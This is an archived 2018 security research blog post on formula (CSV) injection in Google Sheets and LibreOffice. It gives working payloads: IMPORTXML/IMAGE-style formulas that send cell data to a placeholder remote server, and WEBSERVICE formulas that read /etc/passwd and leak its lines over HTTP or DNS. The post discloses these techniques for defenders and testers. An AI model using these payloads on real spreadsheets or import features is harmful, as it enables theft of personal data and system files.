

Data Exfiltration via Formula Injection #Part1

Data Exfiltration via Formula Injection #Part1 - Author not stated, NotSoSecure.

- Published: 2018-05-29
- Original: <<https://www.ntsossecure.com/data-exfiltration-formula-injection/>>
- Current location: <<https://ntsossecure.com/data-exfiltration-formula-injection-part1>>
- Preserved from: <https://ntsossecure.com/data-exfiltration-formula-injection-part1> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Due to a recent intriguing client pentest we became increasingly interested in finding and documenting ways to extract data from spreadsheets using out of band (OOB) methods. The methods we describe in this article assume that we have some control over the content of the spreadsheet (albeit limited), but we may have little to no access to the full document or client (target) system.

We have had a cursory look at LibreOffice as well as Google Sheets and have provided a few PoCs for each. We specifically paid attention to non-Windows based applications as a lot of work has already been done in this area, and we didn't want to regurgitate information that is already widely accessible.

In this blog post we are outlining the research performed by Ajay (@9r4shar4j4y) and Balaji (@iambalaji7) from the NotSoSecure team. The following PoCs may allow us to exfiltrate potentially sensitive information or even read file contents on the respective client systems using relatively simple in-built functions. We're not dropping any 0 days here, but hopefully this article may highlight some potential attack avenues that you should be aware of.

With that said let's begin...

Google Sheets OOB Data Exfiltration

Cloud based data captures are probably going to be our best bet if we're looking to obtain live data. This is because unlike client based attacks, we may be able to populate data within a sheet in quick succession and receive near real time responses.

The attack scenarios may differ drastically, depending on what's available to you. If you're able to create/upload CSV files or the like to a target, you're probably in a much greater position to

successfully exploiting something. This brings us nicely to Google Sheets.

Firstly, let's introduce some of the more interesting functions.

CONCATENATE: Appends strings to one another.

```
=CONCATENATE(A2:E2)
```

IMPORTXML: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.

```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```

IMPORTFEED: Imports a RSS or ATOM feed.

```
=IMPORTFEED(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)))
```

IMPORTHTML: Imports data from a table or list within an HTML page.

```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "table", 1)
```

IMPORTRANGE: Imports a range of cells from a specified spreadsheet.

```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```

IMAGE: Inserts an image into a cell.

```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```

Exfiltration of data:

Based on Google documentation of its spreadsheet functions, the above mentioned functions could be ripe candidates for out of band data exfiltration.

Scenario 1 [Failed]: We like to be honest and thus have included some of our failed PoCs here. Failures are a part of this game and should be considered great learning material. If it wasn't for failure, success would never taste so sweet ;-)

Google provide functionality to create forms and receive responses, which later can be accessed using Google sheets. We attempted to exploit this issue by submitting a malicious formula in the comments section of the respective Google form. However, Google was performing sanity checks on responses submitted and it automatically added an (') apostrophe before the formula, thus stopping the formula from executing.

!Scenario 2 [Success]: Google sheets also gave some functionality that allows us to import data from different file formats like csv, tsv, xlsx etc. This imported data can be represented using a new spreadsheet or can be appended to an existing sheet. For our PoC we will be appending it to a sheet containing responses from the previous scenario, so that we can extract data submitted by other users. Fortunately for us Google did not perform the same the check it did in scenario 1. The following steps were used.

1. We created a malicious csv file with a payload (formula), that will concatenate data from A to D columns. We then generate an out of band request for our attacker server with those details.

!

1. We then imported the csv file into Google Sheets using the import functionality, and appended the data to the existing sheet.

!

1. Once the data was imported our payload executed and we received the details of users like name, email and SSN data on a HTTP server listening on our attacking server.

!

This hopefully gives a snippet into what may be achieved. With this in mind we'll continue this discussion, but now focus upon LibreOffice.

LibreOffice OS File Read in a Linux Environment

This section focuses on exploiting CSV injection in Linux Environment. As we're sure you're aware numerous blogs, PoC's and the such have been released that relate to exploiting DDE with Excel, but little has been looked into in regard to office applications within a Linux environment. This is understandable, Linux desktops are far less common spread than their Windows counterparts and as we know, attacks are always going to target the most widespread aka most lucrative endpoints.

In this article we wanted to highlight some simple, yet very interesting formula attacks that can be exploited on a Linux target. For this writeup we are using the following environment, although these issues will likely be further widespread.

The payloads were successfully tested on the environments listed below:

- Ubuntu 16.04 LTS and LibreOffice 5.1.6.2
- Ubuntu 18.04 LTS and LibreOffice 6.0.3.2

We first tried to read sensitive files via formulas using our local access. LibreOffice offers to read a file using the "file" protocol. An initial PoC to retrieve a single line from the local /etc/passwd file was created and is detailed below.

Payload 1:

```
=file:///etc/passwd'#$passwd.A1
```

!Analyzing the above payload:

- 'file:///etc/passwd'#\$passwd.A1 – Will read the 1st line from the local /etc/passwd file
- Interestingly it seems that a remote resource may also be queried using http:// in place of file:///

It should be noted that upon initial import the user will be prompted for an action as shown within the following screenshot (showing the output of /etc/group, in this instance).

!

After this import, the user is then prompted to update links whenever the document is reopened.

!

Incidentally, by altering the row reference (in this case A2), we could read further entries from the file.

!

This is all well and good, but we needed a way to see the file contents from a remote system (we won't have the advantage of viewing these results within the LibreOffice application!)

This lead us to look into the WEBSERVICE function. In essence we could use this function to connect to a remote system that we control and then send requests for the data that we have extracted from the local /etc/passwd file. Obviously these files won't exist on the attacking host, but the GET requests will include all the juicy info and will be accessible to us from logs or console output on the attacking host.

Continuing with this theory we came up with the following PoC.

Payload 2:

```
=WEBSERVICE(CONCATENATE("http://<ip>:8080/","file:///etc/passwd'#$passwd.A1)))
```

!Analyzing the above payload:

- 'file:///etc/passwd'#\$passwd.A1 – Will read the 1st line from the local /etc/passwd file
- CONCATENATE("http://<ip>:8080/","file:///etc/passwd'#\$passwd.A1)) – Concatenate the IP address and output of 'file'
- WEBSERVICE – Will make a request to our attacking host for the given URI

Our attacking system had Python's SimpleHTTPServer running, so when the malicious file is opened on the victim system, the requests were made and hence received by our server.

!

Similarly, we created a couple of payloads to read multiple lines from a target file. If space isn't an issue, this task can be easily achieved by embedding multiple rows within a single document by just ensuring that the last reference, i.e. #passwd.A1 is set to increment with each row. The following PoC will extract and send the first 30 rows within the target file /etc/passwd.

!

However, a cleaner way of achieving the same goal would be to reference multiple rows within a single formula as shown below.

On executing the below payload, 2 lines from /etc/passwd file are sent to the attacking server.

**Payload 3: **

```
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2))
```

!Analyzing the above payload:

- 'file:///etc/passwd'#\$passwd.AX – Will read the 1st and 2nd lines from the local /etc/passwd file
- CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#\$passwd.A1)&CHAR(36)&('file:///etc/passwd'#\$passwd.A2)) – Concatenate the attacking server IP address with the output of /etc/passwd lines rows 1 and 2 (the 1st 2 lines in the file), each being separated with the dollar(\$) character
- WEBSERVICE – Will make a request to our attacking host for the given URI

Looking at the attacking host we can see the corresponding entries from /etc/passwd within the GET request, separated in this instance by the \$ character (CHAR 36).

!

Depending on the file contents we could be hitting issues with length here (<https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers>) and special characters may also play a part in a PoC failure.

We address both issues in the next PoC, and as no OOB data exfiltration would be complete without the obligatory DNS example; here it is.

Payload 4:

```
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>")
```

!Analyzing the above payload:

- 'file:///etc/passwd'#\$passwd.A19 – Will read the 19th line from the local /etc/passwd file
- ENCODEURL('file:///etc/passwd'#\$passwd.A19) - URL encode the returned data
- MID((ENCODEURL('file:///etc/passwd'#\$passwd.A19)),1,41) - Similar to substring, read data from 1st character to 41st - a very handy way to restrict the length of DNS hostnames (254 character limit on FQDN and 63 characters for a label, i.e. subdomain)
- SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#\$passwd.A19)),1,41),"%","-") - replace all instances of % (the special character from URL encoding) with dash - this is ensure that only valid DNS characters are used
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#\$passwd.A19)),1,41),"%","-")),".<FQDN>") - Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain)
- WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control

Upon sending this, we can see queries for the FQDN (which includes the encoded data from line 19 of /etc/passwd), via tcpdump on our server that is configured to be the authoritative server for the domain, as shown below.

!

If you happen to be using, testing or tinkering with an application that offers upload/download/imports/exports of CSV data and the like, you may well be glad of simple wins such as displayed here.

Archived from <https://www.ntsossecure.com/data-exfiltration-formula-injection/>. Rendered offline from the local Markdown copy.